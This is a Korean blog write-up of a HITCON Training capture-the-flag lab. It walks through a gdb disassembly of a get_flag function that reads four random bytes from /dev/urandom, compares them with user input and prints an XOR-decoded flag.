   0x08048635 <+154>:	mov    BYTE PTR [ebp-0x64],0x2d
   0x08048639 <+158>:	mov    BYTE PTR [ebp-0x63],0x28
   0x0804863d <+162>:	mov    BYTE PTR [ebp-0x62],0x59
   0x08048641 <+166>:	mov    BYTE PTR [ebp-0x61],0xa
   0x08048645 <+170>:	mov    BYTE PTR [ebp-0x60],0x0
   0x08048649 <+174>:	mov    BYTE PTR [ebp-0x5f],0x1e
   0x0804864d <+178>:	mov    BYTE PTR [ebp-0x5e],0x16
   0x08048651 <+182>:	mov    BYTE PTR [ebp-0x5d],0x0
   0x08048655 <+186>:	mov    BYTE PTR [ebp-0x5c],0x4
   0x08048659 <+190>:	mov    BYTE PTR [ebp-0x5b],0x55
   0x0804865d <+194>:	mov    BYTE PTR [ebp-0x5a],0x16
   0x08048661 <+198>:	mov    BYTE PTR [ebp-0x59],0x8
   0x08048665 <+202>:	mov    BYTE PTR [ebp-0x58],0x1f
   0x08048669 <+206>:	mov    BYTE PTR [ebp-0x57],0x7
   0x0804866d <+210>:	mov    BYTE PTR [ebp-0x56],0x1
   0x08048671 <+214>:	mov    BYTE PTR [ebp-0x55],0x9
   0x08048675 <+218>:	mov    BYTE PTR [ebp-0x54],0x0
   0x08048679 <+222>:	mov    BYTE PTR [ebp-0x53],0x7e
   0x0804867d <+226>:	mov    BYTE PTR [ebp-0x52],0x1c
   0x08048681 <+230>:	mov    BYTE PTR [ebp-0x51],0x3e
   0x08048685 <+234>:	mov    BYTE PTR [ebp-0x50],0xa
   0x08048689 <+238>:	mov    BYTE PTR [ebp-0x4f],0x1e
   0x0804868d <+242>:	mov    BYTE PTR [ebp-0x4e],0xb
   0x08048691 <+246>:	mov    BYTE PTR [ebp-0x4d],0x6b
   0x08048695 <+250>:	mov    BYTE PTR [ebp-0x4c],0x4
   0x08048699 <+254>:	mov    BYTE PTR [ebp-0x4b],0x42
   0x0804869d <+258>:	mov    BYTE PTR [ebp-0x4a],0x3c
   0x080486a1 <+262>:	mov    BYTE PTR [ebp-0x49],0x2c
   0x080486a5 <+266>:	mov    BYTE PTR [ebp-0x48],0x5b
   0x080486a9 <+270>:	mov    BYTE PTR [ebp-0x47],0x31
   0x080486ad <+274>:	mov    BYTE PTR [ebp-0x46],0x55
   0x080486b1 <+278>:	mov    BYTE PTR [ebp-0x45],0x2
   0x080486b5 <+282>:	mov    BYTE PTR [ebp-0x44],0x1e
   0x080486b9 <+286>:	mov    BYTE PTR [ebp-0x43],0x21
   0x080486bd <+290>:	mov    BYTE PTR [ebp-0x42],0x10
   0x080486c1 <+294>:	mov    BYTE PTR [ebp-0x41],0x4c
   0x080486c5 <+298>:	mov    BYTE PTR [ebp-0x40],0x1e
   0x080486c9 <+302>:	mov    BYTE PTR [ebp-0x3f],0x42
   0x080486cd <+306>:	sub    esp,0x8
   0x080486d0 <+309>:	push   0x0
   0x080486d2 <+311>:	push   0x8048830
   0x080486d7 <+316>:	call   0x8048440 <open@plt>
   0x080486dc <+321>:	add    esp,0x10
   0x080486df <+324>:	mov    DWORD PTR [ebp-0x74],eax
   0x080486e2 <+327>:	sub    esp,0x4
   0x080486e5 <+330>:	push   0x4
   0x080486e7 <+332>:	lea    eax,[ebp-0x80]
   0x080486ea <+335>:	push   eax
   0x080486eb <+336>:	push   DWORD PTR [ebp-0x74]
   0x080486ee <+339>:	call   0x8048410 <read@plt>
   0x080486f3 <+344>:	add    esp,0x10
   0x080486f6 <+347>:	sub    esp,0xc
   0x080486f9 <+350>:	push   0x804883d
   0x080486fe <+355>:	call   0x8048420 <printf@plt>
   0x08048703 <+360>:	add    esp,0x10
   0x08048706 <+363>:	sub    esp,0x8
   0x08048709 <+366>:	lea    eax,[ebp-0x7c]
   0x0804870c <+369>:	push   eax
   0x0804870d <+370>:	push   0x804884d
   0x08048712 <+375>:	call   0x8048480 <__isoc99_scanf@plt>
   0x08048717 <+380>:	add    esp,0x10
   0x0804871a <+383>:	mov    edx,DWORD PTR [ebp-0x80]
   0x0804871d <+386>:	mov    eax,DWORD PTR [ebp-0x7c]
   0x08048720 <+389>:	cmp    edx,eax
   0x08048722 <+391>:	jne    0x8048760 <get_flag+453>
   0x08048724 <+393>:	mov    DWORD PTR [ebp-0x78],0x0
   0x0804872b <+400>:	jmp    0x8048758 <get_flag+445>
   0x0804872d <+402>:	lea    edx,[ebp-0x6f]
   0x08048730 <+405>:	mov    eax,DWORD PTR [ebp-0x78]
   0x08048733 <+408>:	add    eax,edx
   0x08048735 <+410>:	movzx  ecx,BYTE PTR [eax]
   0x08048738 <+413>:	lea    edx,[ebp-0x3e]
   0x0804873b <+416>:	mov    eax,DWORD PTR [ebp-0x78]
   0x0804873e <+419>:	add    eax,edx
   0x08048740 <+421>:	movzx  eax,BYTE PTR [eax]
   0x08048743 <+424>:	xor    eax,ecx
   0x08048745 <+426>:	movsx  eax,al
   0x08048748 <+429>:	sub    esp,0xc
   0x0804874b <+432>:	push   eax
   0x0804874c <+433>:	call   0x8048470 <putchar@plt>
   0x08048751 <+438>:	add    esp,0x10
   0x08048754 <+441>:	add    DWORD PTR [ebp-0x78],0x1
   0x08048758 <+445>:	mov    eax,DWORD PTR [ebp-0x78]
   0x0804875b <+448>:	cmp    eax,0x30
   0x0804875e <+451>:	jbe    0x804872d <get_flag+402>
   0x08048760 <+453>:	nop
   0x08048761 <+454>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048764 <+457>:	xor    eax,DWORD PTR gs:0x14
   0x0804876b <+464>:	je     0x8048772 <get_flag+471>
   0x0804876d <+466>:	call   0x8048430 <__stack_chk_fail@plt>
   0x08048772 <+471>:	leave  
   0x08048773 <+472>:	ret    
End of assembler dump.

  코드가 굉장히 길지만 눈길을 끄는 녀석들만 골라서 추측해보자면 open함수로 뭘 열고 read로 뭘 읽고 scanf로 뭘 입력 받고 입력받은 값과 읽은 값을 비교(+375~+389)하는것 같습니다. 일단 제 추측이 맞는지 확인부터 해봅니다. 제대로 된 분석은 제 추측이 틀렸다는게 밝혀진 뒤에 해도 늦지 않습니다.

open("/dev/urandom",0,0)

  open 함수로 /dev/urandom 이라는 파일을 엽니다. 저 파일은 랜덤한 값들을 만들어주는 파일로 열어보시면 아래와 같은 값을 볼 수 있습니다. 아래는 편의를 위해 길이 제한을 걸어서 그렇지 만약 길이 제한 옵션이 없다면 사용자가 멈추기 전까지 무한으로 뽑아냅니다.

/dev/urandom

 

read(fd, buf, 4)

  여기선 read 함수로 무엇인가를 하는 것을 확인할 수 있는데 read 함수에 대해 잘 모르시는 분들을 위해 간단하게 설명하고 넘어가겠습니다. 일단 기본적인 read 함수에서 사용하는 인자값들은 아래와 같습니다.

read man page

  fd, *buf, count 3가지 인자값이 있는데 fd는 file descriptor를 뜻합니다. 이에 대한건 file descriptor를 검색하시면 더 자세한 내용이 나오는데 아주아주 간단하게 말씀드리자면 fd값은 0 -> stdin(표준 입력) / 1 -> stdout(표준 출력) / 2 -> stderr(표준 에러) 로 정해져 있고 실제 파일의 경우는 3번부터 부여됩니다. 위에서 open을 이용해 하나의 파일을 열었으니 fd가 3이 되고 이를 다시 정리하자면 위에서 열었던 '/dev/urandom' 파일에서 4바이트 만큼 값을 읽어서 0xffffd088 위치에 넣어준다는 뜻입니다.

read 함수 호출 직후

  위에서 확인할 수 있듯이 0xffffd088이라는 곳에 0x8a1f2559라는 값이 들어갔습니다.

입력후 cmp 부분

  그리고 제가 입력한 256이라는 값이 16진수로 EAX에 들어간 것을 확인할 수 있고 cmp를 통해 EDX에 있는 값(위에서 read를 통해 넣어준 값)과 비교해 분기를 결정합니다. 결국 랜덤한 4바이트 값을 맞춰서 입력해주면 풀리는 문제!

끝!

'Pwnable > HITCON Training' 카테고리의 다른 글

[HITCON Training] LAB3 ret2sc  (0) 2019.08.12

+ Recent posts